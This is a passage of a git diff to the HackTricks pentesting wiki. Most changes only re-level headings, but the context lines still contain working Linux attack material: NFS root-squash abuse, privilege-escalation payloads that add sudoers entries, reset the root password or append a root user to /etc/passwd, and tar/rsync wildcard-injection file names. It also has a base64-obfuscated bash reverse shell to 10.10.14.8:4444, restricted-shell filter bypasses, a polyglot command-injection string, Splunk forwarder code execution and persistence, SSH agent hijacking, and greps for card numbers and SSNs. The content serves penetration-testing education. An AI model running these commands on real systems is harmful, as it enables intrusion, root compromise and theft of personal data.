local **root** of the machine. **no\_root\_squash**: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications. **no\_all\_squash:** This is similar to **no\_root\_squash** option but applies to **non-root users**. Imagine, you have a shell as nobody user; checked /etc/exports file; no\_all\_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user. -## Privilege Escalation +# Privilege Escalation -### Remote Exploit +## Remote Exploit If you have found this vulnerability, you can exploit it: @@ -62,7 +60,7 @@ cd ./payload #ROOT shell ``` -### Local Exploit +## Local Exploit {% hint style="info" %} Note that if you can create a **tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports**.\ @@ -89,7 +87,7 @@ This exploit relies on a problem in the NFSv3 specification that mandates that i Here’s a [library that lets you do just that](https://github.com/sahlberg/libnfs). -#### Compiling the example +### Compiling the example Depending on your kernel, you might need to adapt the example. In my case I had to comment out the fallocate syscalls. @@ -100,7 +98,7 @@ make gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/ ``` -#### Exploiting using the library +### Exploiting using the library Let’s use the simplest of exploits: @@ -128,7 +126,7 @@ All that’s left is to launch it: There we are, local root privilege escalation! -### Bonus NFShell +## Bonus NFShell Once local root on the machine, I wanted to loot the NFS share for possible secrets that would let me pivot. But there were many users of the share all with their own uids that I couldn’t read despite being root because of the uid mismatch. I didn’t want to leave obvious traces such as a chown -R, so I rolled a little snippet to set my uid prior to running the desired shell command: diff --git a/linux-unix/privilege-escalation/pam-pluggable-authentication-modules.md b/linux-unix/privilege-escalation/pam-pluggable-authentication-modules.md index b21134fc..c7822ea4 100644 --- a/linux-unix/privilege-escalation/pam-pluggable-authentication-modules.md +++ b/linux-unix/privilege-escalation/pam-pluggable-authentication-modules.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# PAM - Pluggable Authentication Modules - PAM is a collection of modules that essentially form a barrier between a service on your system, and the user of the service. The modules can have widely varying purposes, from disallowing a login to users from a particular UNIX group \(or netgroup, or subnet…\), to implementing resource limits so that your ‘research’ group can’t hog system resources. -## Config Files +# Config Files Solaris and other commercial UNIX systems have a slightly different configuration model, centered around a single file, **`/etc/pam.conf`**. On most Linux systems, these configuration files live in **`/etc/pam.d`**, and are named after the service – for example, the ‘login’ configuration file is called **`/etc/pam.d/login`**. Let’s have a quick look at a version of that file: @@ -38,7 +36,7 @@ password required /lib/security/pam_pwdb.so use_first_pass session required /lib/security/pam_unix_session.so ``` -### **PAM Management Realms** +## **PAM Management Realms** The leftmost column can contains four unique words, which represent four realms of PAM management: **auth**, **account**, **password** and **session**. While there are many modules which support more than one of these realms \(indeed, pam\_unix supports all of them\), others, like pam\_cracklib for instance, are only suited for one \(the ‘password’ facility in pam\_cracklib’s case\). @@ -47,7 +45,7 @@ The leftmost column can contains four unique words, which represent four realms * **password**: The modules in this area are responsible for any functionality needed in the course of **updating passwords** for a given service. Most of the time, this section is pretty ‘ho-hum’, simply calling a module that **will prompt for a current password**, and, assuming that’s successful, prompt you for a new one. Other modules could be added to perform **password complexity** or dictionary checking as well, such as that performed by the pam\_cracklib and pam\_pwcheck modules. * **session**: Modules in this area perform any number of things that happen either **during the setup or cleanup of a service** for a given user. This may include any number of things; launching a system-wide initialization script, performing special logging, **mounting the user’s home directory**, or setting resource limits. -### **PAM Module Controls** +## **PAM Module Controls** The **middle column** holds a keyword that essentially determines w**hat PAM should do if the module either succeeds or fails**. These keywords are called ‘**controls**’ in PAM-speak. In 90% of the cases, you can use one of the common keywords \(**requisite**, **required**, **sufficient** or **optional**\). However, this is only the tip of the iceberg in terms of unleashing the flexibility and power of PAM. @@ -56,7 +54,7 @@ The **middle column** holds a keyword that essentially determines w**hat PAM sho * **sufficient**: If a **sufficient** module **succeeds**, it is enough to satisfy the requirements of sufficient modules in that realm for use of the service, and **modules below it that are also listed as ‘sufficient’ are not invoked**. **If it fails, the operation fails unless a module invoked after it succeeds**. * **optional**: An ''optional’ module, according to the pam\(8\) manpage, **will only cause an operation to fail if it’s the only module in the stack for that facility**. -### Example +## Example In our example file, we have four modules stacked for the auth realm: diff --git a/linux-unix/privilege-escalation/payloads-to-execute.md b/linux-unix/privilege-escalation/payloads-to-execute.md index dcd0016e..aada4dd6 100644 --- a/linux-unix/privilege-escalation/payloads-to-execute.md +++ b/linux-unix/privilege-escalation/payloads-to-execute.md @@ -17,16 +17,14 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Payloads to execute - -## Bash +# Bash ```bash cp /bin/bash /tmp/b && chmod +s /tmp/b /bin/b -p #Maintains root privileges from suid, working in debian & buntu ``` -## C +# C ```c //gcc payload.c -o payload @@ -50,16 +48,16 @@ int main(){ } ``` -## Overwriting a file to escalate privileges +# Overwriting a file to escalate privileges -### Common files +## Common files * Add user with password to _/etc/passwd_ * Change password inside _/etc/shadow_ * Add user to sudoers in _/etc/sudoers_ * Abuse docker through the docker socket, usually in _/run/docker.sock_ or _/var/run/docker.sock_ -### Overwriting a library +## Overwriting a library Check a library used by some binary, in this case `/bin/su`: @@ -112,29 +110,29 @@ void inject() Now, just calling **`/bin/su`** you will obtain a shell as root. -## Scripts +# Scripts Can you make root execute something? -### **www-data to sudoers** +## **www-data to sudoers** ```bash echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update ``` -### **Change root password** +## **Change root password** ```bash echo "root:hacked" | chpasswd ``` -### Add new root user to /etc/passwd +## Add new root user to /etc/passwd ```bash echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd ``` -### +## diff --git a/linux-unix/privilege-escalation/runc-privilege-escalation.md b/linux-unix/privilege-escalation/runc-privilege-escalation.md index 76cd1916..e1d9a52b 100644 --- a/linux-unix/privilege-escalation/runc-privilege-escalation.md +++ b/linux-unix/privilege-escalation/runc-privilege-escalation.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# RunC Privilege Escalation - -## Basic information +# Basic information If you want to learn more about **runc** check the following page: @@ -27,7 +25,7 @@ If you want to learn more about **runc** check the following page: [2375-pentesting-docker.md](../../pentesting/2375-pentesting-docker.md) {% endcontent-ref %} -## PE +# PE If you find that `runc` is installed in the host you may be able to **run a container mounting the root / folder of the host**. diff --git a/linux-unix/privilege-escalation/seccomp.md b/linux-unix/privilege-escalation/seccomp.md index ca606d69..cb2be364 100644 --- a/linux-unix/privilege-escalation/seccomp.md +++ b/linux-unix/privilege-escalation/seccomp.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Seccomp - -## Basic Information +# Basic Information **Seccomp **or Secure Computing mode, in summary, is a feature of Linux kernel which can act as **syscall filter**.\ Seccomp has 2 modes. @@ -30,7 +28,7 @@ seccomp mode is **enabled via the `prctl(2)` system call** using the `PR_SET_SEC **seccomp-bpf** is an extension to seccomp that allows **filtering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules. It is used by OpenSSH and vsftpd as well as the Google Chrome/Chromium web browsers on Chrome OS and Linux. (In this regard seccomp-bpf achieves similar functionality, but with more flexibility and higher performance, to the older systrace—which seems to be no longer supported for Linux.) -### **Original/Strict Mode** +## **Original/Strict Mode** In this mode** **Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read()` and `write()` to already-open file descriptors. If any other syscall is made, the process is killed using SIGKILL @@ -68,7 +66,7 @@ int main(int argc, char **argv) ``` {% endcode %} -### Seccomp-bpf +## Seccomp-bpf This mode allows f**iltering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules. @@ -122,7 +120,7 @@ void main(void) { ``` {% endcode %} -## Seccomp in Docker +# Seccomp in Docker **Seccomp-bpf** is supported by **Docker **to restrict the **syscalls **from the containers effectively decreasing the surface area. You can find the **syscalls blocked **by **default **in [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) and the **default seccomp profile **can be found here [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\ You can run a docker container with a **different seccomp** policy with: @@ -146,7 +144,7 @@ docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname If you are using **Docker just to launch an application**, you can **profile** it with **`strace`** and **just allow the syscalls** it needs {% endhint %} -### Deactivate it in Docker +## Deactivate it in Docker Launch a container with the flag: **`--security-opt seccomp=unconfined`** diff --git a/linux-unix/privilege-escalation/selinux.md b/linux-unix/privilege-escalation/selinux.md index 53496a99..61517e33 100644 --- a/linux-unix/privilege-escalation/selinux.md +++ b/linux-unix/privilege-escalation/selinux.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# SELinux - -## SELinux in Containers +# SELinux in Containers [SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) is a **labeling** **system**. Every **process** and every **file** system object has a **label**. SELinux policies define rules about what a **process label is allowed to do with all of the other labels** on the system. @@ -33,7 +31,7 @@ LABEL system_u:system_r:container_t:s0:c647,c780 ``` -## SELinux Users +# SELinux Users There are SELinux users in addition to the regular Linux users. SELinux users are part of an SELinux policy. Each Linux user is mapped to a SELinux user as part of the policy. This allows Linux users to inherit the restrictions and security rules and mechanisms placed on SELinux users. diff --git a/linux-unix/privilege-escalation/socket-command-injection.md b/linux-unix/privilege-escalation/socket-command-injection.md index 73277465..20e7efcd 100644 --- a/linux-unix/privilege-escalation/socket-command-injection.md +++ b/linux-unix/privilege-escalation/socket-command-injection.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Socket Command Injection - -### Socket binding example with Python +## Socket binding example with Python In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received** is going to be **executed** by `os.system`.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible. diff --git a/linux-unix/privilege-escalation/splunk-lpe-and-persistence.md b/linux-unix/privilege-escalation/splunk-lpe-and-persistence.md index 5977a064..9d7ce807 100644 --- a/linux-unix/privilege-escalation/splunk-lpe-and-persistence.md +++ b/linux-unix/privilege-escalation/splunk-lpe-and-persistence.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Splunk LPE and Persistence - If **enumerating** a machine **internally** or **externally** you find **Splunk running** (port 8090), if you luckily know any **valid credentials** you can **abuse the Splunk service** to **execute a shell** as the user running Splunk. If root is running it, you can escalate privileges to root. Also if you are **already root and the Splunk service is not listening only on localhost**, you can **steal** the **password** file **from** the Splunk service and **crack** the passwords, or **add new** credentials to it. And maintain persistence on the host. @@ -27,11 +25,11 @@ In the first image below you can see how a Splunkd web page looks like. **The following information was copied from** [**https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/**](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/) -## Abusing Splunk Forwarders For Shells and Persistence +# Abusing Splunk Forwarders For Shells and Persistence 14 Aug 2020 -### Description: +## Description: The Splunk Universal Forwarder Agent (UF) allows authenticated remote users to send single commands or scripts to the agents through the Splunk API. The UF agent doesn’t validate connections coming are coming from a valid Splunk Enterprise server, nor does the UF agent validate the code is signed or otherwise proven to be from the Splunk Enterprise server. This allows an attacker who gains access to the UF agent password to run arbitrary code on the server as SYSTEM or root, depending on the operating system. @@ -39,7 +37,7 @@ This attack is being used by Penetration Testers and is likely being actively ex Splunk UF passwords are relatively easy to acquire, see the secion Common Password Locations for details. -### Context: +## Context: Splunk is a data aggregation and search tool often used as a Security Information and Event Monitoring (SIEM) system. Splunk Enterprise Server is a web application which runs on a server, with agents, called Universal Forwarders, which are installed on every system in the network. Splunk provides agent binaries for Windows, Linux, Mac, and Unix. Many organizations use Syslog to send data to Splunk instead of installing an agent on Linux/Unix hosts but agent installation is becomming increasingly popular. @@ -49,7 +47,7 @@ Universal Forwarder is accessible on each host at https://host:8089. Accessing a Splunk documentaiton shows using the same Universal Forwarding password for all agents, I don’t remember for sure if this is a requirement or if individual passwords can be set for each agent, but based on documentaiton and memory from when I was a Splunk admin, I believe all agents must use the same password. This means if the password is found or cracked on one system, it is likely to work on all Splunk UF hosts. This has been my personal experience, allowing compromise of hundreds of hosts quickly. -### Common Password Locations +## Common Password Locations I often find the Splunk Universal Forwarding agent plain text password in the following locations on networks: @@ -59,7 +57,7 @@ I often find the Splunk Universal Forwarding agent plain text password in the fo The password can also be accessed in hashed form in Program Files\Splunk\etc\passwd on Windows hosts, and in /opt/Splunk/etc/passwd on Linux and Unix hosts. An attacker can attempt to crack the password using Hashcat, or rent a cloud cracking environment to increase liklihood of cracking the hash. The password is a strong SHA-256 hash and as such a strong, random password is unlikely to be cracked. -### Impact: +## Impact: An attacker with a Splunk Universal Forward Agent password can fully compromise all Splunk hosts in the network and gain SYSTEM or root level permissions on each host. I have successfully used the Splunk agent on Windows, Linux, and Solaris Unix hosts. This vulnerability could allow system credentials to be dumped, sensitive data to be exfiltrated, or ransomware to be installed. This vulnerability is fast, easy to use, and reliable. @@ -69,7 +67,7 @@ Splunk Universal Forwarder is often seen installed on Domain Controllers for log Finally, the Universal Forwarding Agent does not require a license, and can be configured with a password stand alone. As such an attacker can install Universal Forwarder as a backdoor persistence mechanism on hosts, since it is a legitimate application which customers, even those who do not use Splunk, are not likely to remove. -### Evidence: +## Evidence: To show an exploitation example I set up a test environment using the latest Splunk version for both the Enterprise Server and the Universal Forwarding agent. A total of 10 images have been attached to this report, showing the following: @@ -133,7 +131,7 @@ Attacker:192.168.42.51 Splunk Enterprise version: 8.0.5 (latest as of August 12, 2020 – day of lab setup)\ Universal Forwarder version: 8.0.5 (latest as of August 12, 2020 – day of lab setup) -#### Remediation Recommendation’s for Splunk, Inc: +### Remediation Recommendation’s for Splunk, Inc: I recommend implementing all of the following solutions to provide defense in depth: @@ -141,16 +139,16 @@ I recommend implementing all of the following solutions to provide defense in de 2. Enable TLS mutual authentication between the clients and server, using individual keys for each client. This would provide very high bi-directional security between all Splunk services. TLS mutual authentication is being heavily implemented in agents and IoT devices, this is the future of trusted device client to server communication. 3. Send all code, single line or script files, in a compressed file which is encrypted and signed by the Splunk server. This does not protect the agent data sent through the API, but protects against malicious Remote Code Execution from a 3rd party. -#### Remediation Recommendation’s for Splunk customers: +### Remediation Recommendation’s for Splunk customers: 1. Ensure a very strong password is set for Splunk agents. I recommend at least a 15-character random password, but since these passwords are never typed this could be set to a very large password such as 50 characters. 2. Configure host based firewalls to only allow connections to port 8089/TCP (Universal Forwarder Agent’s port) from the Splunk server. -### Recommendations for Red Team: +## Recommendations for Red Team: 1. Download a copy of Splunk Universal Forwarder for each operating system, as it is a great light weight signed implant. Good to keep a copy incase Splunk actually fixes this. -### Exploits/Blogs from other researchers +## Exploits/Blogs from other researchers Usable public exploits: diff --git a/linux-unix/privilege-escalation/ssh-forward-agent-exploitation.md b/linux-unix/privilege-escalation/ssh-forward-agent-exploitation.md index 625e1d9e..e7af1534 100644 --- a/linux-unix/privilege-escalation/ssh-forward-agent-exploitation.md +++ b/linux-unix/privilege-escalation/ssh-forward-agent-exploitation.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# SSH Forward Agent exploitation - -## Summary +# Summary What can you do if you discover inside the `/etc/ssh_config` or inside `$HOME/.ssh/config` configuration this: @@ -35,7 +33,7 @@ Impersonate Bob using one of Bob's ssh-agent: SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston ``` -### Why does this work? +## Why does this work? When you set the variable `SSH_AUTH_SOCK` you are accessing the keys of Bob that have been used in Bobs ssh connection. Then, if his private key is still there (normally it will be), you will be able to access any host using it. @@ -43,11 +41,11 @@ As the private key is saved in the memory of the agent uncrypted, I suppose that Another option, is that the user owner of the agent and root may be able to access the memory of the agent and extract the private key. -## Long explanation and exploitation +# Long explanation and exploitation **Taken from:** [**https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/**](https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/) -### **When ForwardAgent Can’t Be Trusted** +## **When ForwardAgent Can’t Be Trusted** SSH without passwords makes life with Unix-like operating systems much easier. If your network requires chained ssh sessions (to access a restricted network, for example), agent forwarding becomes extremely helpful. With agent forwarding it’s possible for me to connect from my laptop to my dev server and from there run an svn checkout from yet another server, all without passwords, while keeping my private key safe on my local workstation. @@ -55,7 +53,7 @@ This can be dangerous, though. A quick web search will reveal several articles i That’s what this article is for. But first, some background. -### **How Passwordless Authentication Works** +## **How Passwordless Authentication Works** When authenticating in normal mode, SSH uses your password to prove that you are who you say you are. The server compares a hash of this password to one it has on file, verifies that the hashes match, and lets you in. @@ -67,11 +65,11 @@ The private key is valuable and must be protected, so by default it is stored in OpenSSH includes [ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent), a daemon that runs on your local workstation. It loads a decrypted copy of your private key into memory, so you only have to enter your passphrase once. It then provides a local [socket](http://en.wikipedia.org/wiki/Unix\_domain\_socket) that the ssh client can use to ask it to decrypt the encrypted message sent back by the remote server. Your private key stays safely ensconced in the ssh-agent process’ memory while still allowing you to ssh around without typing in passwords. -### **How ForwardAgent Works** +## **How ForwardAgent Works** Many tasks require “chaining” ssh sessions. Consider my example from earlier: I ssh from my workstation to the dev server. While there, I need to perform an svn update, using the “svn+ssh” protocol. Since it would be silly to leave an unencrypted copy of my super-secret private key on a shared server, I’m now stuck with password authentication. If, however, I enabled “ForwardAgent” in the ssh config on my workstation, ssh uses its built-in tunneling capabilities to create another socket on the dev server that is tunneled back to the ssh-agent socket on my local workstation. This means that the ssh client on the dev server can now send “decrypt this secret message” requests directly back to the ssh-agent running on my workstation, authenticating itself to the svn server without ever having access to my private key. -### **Why This Can Be Dangerous** +## **Why This Can Be Dangerous** Simply put, anyone with root privilege on the the intermediate server can make free use of your ssh-agent to authenticate them to other servers. A simple demonstration shows how trivially this can be done. Hostnames and usernames have been changed to protect the innocent. @@ -158,7 +156,7 @@ bob I have succesfully parlayed my root privileges on “seattle” to access as bob on “boston”. I’ll bet I can use that to get him fired. -### **Protect Yourself!** +## **Protect Yourself!** Don’t let your ssh-agent store your keys indefinitely. On OS X, configure your Keychain to lock after inactivity or when your screen locks. On other Unix-y platforms, pass the -t option to ssh-agent so its keys will be removed after seconds. @@ -174,7 +172,7 @@ Host * ForwardAgent no ``` -### **Recommended Reading** +## **Recommended Reading** * [OpenSSH key management](http://www.ibm.com/developerworks/library/l-keyc/index.html) – Daniel Robbins * [An Illustrated Guide to SSH Agent Forwarding](http://www.unixwiz.net/techtips/ssh-agent-forwarding.html) – Steve Friedl diff --git a/linux-unix/privilege-escalation/wildcards-spare-tricks.md b/linux-unix/privilege-escalation/wildcards-spare-tricks.md index ee22f776..591e6370 100644 --- a/linux-unix/privilege-escalation/wildcards-spare-tricks.md +++ b/linux-unix/privilege-escalation/wildcards-spare-tricks.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Wildcards Spare tricks - -### chown, chmod +## chown, chmod You can **indicate which file owner and permissions you want to copy for the rest of the files** @@ -30,7 +28,7 @@ touch "--reference=/my/own/path/filename" You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(combined attack)_\ __More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) -### Tar +## Tar **Execute arbitrary commands:** @@ -42,7 +40,7 @@ touch "--checkpoint-action=exec=sh shell.sh" You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar attack)_\ __More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) -### Rsync +## Rsync **Execute arbitrary commands:** @@ -60,7 +58,7 @@ touch "-e sh shell.sh" You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(_rsync _attack)_\ __More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) -### 7z +## 7z In **7z** even using `--` before `*` (note that `--` means that the following input cannot treated as parameters, so just file paths in this case) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root: diff --git a/linux-unix/useful-linux-commands/README.md b/linux-unix/useful-linux-commands/README.md index 08a3fb1e..37edc511 100644 --- a/linux-unix/useful-linux-commands/README.md +++ b/linux-unix/useful-linux-commands/README.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Useful Linux Commands - -## Common Bash +# Common Bash ```bash #Exfiltration using Base64 @@ -83,7 +81,7 @@ python3 -m http.server ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start" php -S $ip:80 -##Curl +#Curl #json data curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint #Auth via JWT @@ -99,10 +97,10 @@ dd if=file.bin bs=28 skip=1 of=blob sudo apt-get install libguestfs-tools guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd -## ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys +# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys ssh-keyscan 10.10.10.101 -## Openssl +# Openssl openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server openssl x509 -in ca.cert.pem -text #Read certificate openssl genrsa -out newuser.key 2048 #Create new RSA2048 key @@ -110,7 +108,7 @@ openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox) -## If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using: +# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using: openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12 # Decrypt ssh key openssl rsa -in key.ssh.enc -out key.ssh @@ -120,7 +118,7 @@ openssl enc -aes256 -k -d -in backup.tgz.enc -out b.tgz #Count number of instructions executed by a program, need a host based linux (not working in VM) perf stat -x, -e instructions:u "ls" -##Find trick for HTB, find files from 2018-12-12 to 2018-12-14 +#Find trick for HTB, find files from 2018-12-12 to 2018-12-14 find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null #Reconfigure timezone @@ -137,7 +135,7 @@ sudo chattr +i file.txt sudo chattr -i file.txt #Remove the bit so you can delete it ``` -## Bash for Windows +# Bash for Windows ```bash #Base64 for Windows @@ -159,7 +157,7 @@ python pyinstaller.py --onefile exploit.py i686-mingw32msvc-gcc -o executable useradd.c ``` -## Greps +# Greps ```bash #Extract emails from file @@ -174,7 +172,7 @@ grep -i "pwd\|passw" file.txt #Extract users grep -i "user\|invalid\|authentication\|login" file.txt -## Extract hashes +# Extract hashes #Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128}) egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt #Extract valid MySQL-Old hashes @@ -210,7 +208,7 @@ grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' #Extract Floating point numbers grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt -## Extract credit card data +# Extract credit card data #Visa grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt #MasterCard @@ -226,7 +224,7 @@ grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt #AMEX grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt -## Extract IDs +# Extract IDs #Extract Social Security Number (SSN) grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt #Extract Indiana Driver License Number @@ -241,7 +239,7 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt ``` -## Nmap search help +# Nmap search help ```bash #Nmap scripts ((default or version) and smb)) @@ -250,14 +248,14 @@ locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | gre nmap --script-help "(default or version) and smb)" ``` -## Bash +# Bash ```bash #All bytes inside a file (except 0x20 and 0x00) for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done ``` -## Iptables +# Iptables ```bash #Delete curent rules and chains diff --git a/linux-unix/useful-linux-commands/bypass-bash-restrictions.md b/linux-unix/useful-linux-commands/bypass-bash-restrictions.md index 84746f34..7a32c35c 100644 --- a/linux-unix/useful-linux-commands/bypass-bash-restrictions.md +++ b/linux-unix/useful-linux-commands/bypass-bash-restrictions.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Bypass Bash Restrictions - -## Reverse Shell +# Reverse Shell ```bash # Double-Base64 is a great way to avoid bad characters like +, works 99% of the time @@ -27,7 +25,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)| #echo\WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h ``` -### Short Rev shell +## Short Rev shell ```bash #Trick from Dikline @@ -37,7 +35,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)| exec >&0 ``` -## Bypass Paths and forbidden words +# Bypass Paths and forbidden words ```bash # Question mark binary substitution @@ -81,14 +79,14 @@ whoa # This will throw an error !-1!-2 # This will execute whoami ``` -## Bypass forbidden spaces +# Bypass forbidden spaces ```bash # {form} {cat,lol.txt} # cat lol.txt {echo,test} # echo test -## IFS - Internal field separator, change " " for any other character ("]" in this case) +# IFS - Internal field separator, change " " for any other character ("]" in this case) cat${IFS}/etc/passwd # cat /etc/passwd cat$IFS/etc/passwd # cat /etc/passwd @@ -108,19 +106,19 @@ i\ n\ g # These 4 lines will equal to ping -## Undefined variables and ! +# Undefined variables and ! $u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined uname!-1\-a # This equals to uname -a ``` -## Bypass backslash and slash +# Bypass backslash and slash ```bash cat ${HOME:0:1}etc${HOME:0:1}passwd cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd ``` -## Bypass with hex encoding +# Bypass with hex encoding ```bash echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" @@ -132,31 +130,31 @@ xxd -r -ps <(echo 2f6574632f706173737764) cat `xxd -r -ps <(echo 2f6574632f706173737764)` ``` -## Bypass IPs +# Bypass IPs ```bash # Decimal IPs 127.0.0.1 == 2130706433 ``` -## Time based data exfiltration +# Time based data exfiltration ```bash time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi ``` -## DNS data exfiltration +# DNS data exfiltration You could use **burpcollab** or [**pingb**](http://pingb.in) for example. -## Polyglot command injection +# Polyglot command injection ```bash 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ ``` -## References & More +# References & More {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits" %} diff --git a/macos/macos-security-and-privilege-escalation/README.md b/macos/macos-security-and-privilege-escalation/README.md index c4653b06..3bec12d0 100644 --- a/macos/macos-security-and-privilege-escalation/README.md +++ b/macos/macos-security-and-privilege-escalation/README.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# MacOS Security & Privilege Escalation - {% hint style="warning" %} **Support HackTricks and get benefits!** @@ -40,9 +38,9 @@ First of all, please note that **most of the tricks about privilege escalation a [privilege-escalation](../../linux-unix/privilege-escalation/) {% endcontent-ref %} -## Basic MacOS +# Basic MacOS -### OS X Specific Extensions +## OS X Specific Extensions * **`.dmg`**: Apple Disk Image files are very frequent for installers. * **`.kext`**: It must follow a specific structure and it's the OS X version of a driver. @@ -55,7 +53,7 @@ First of 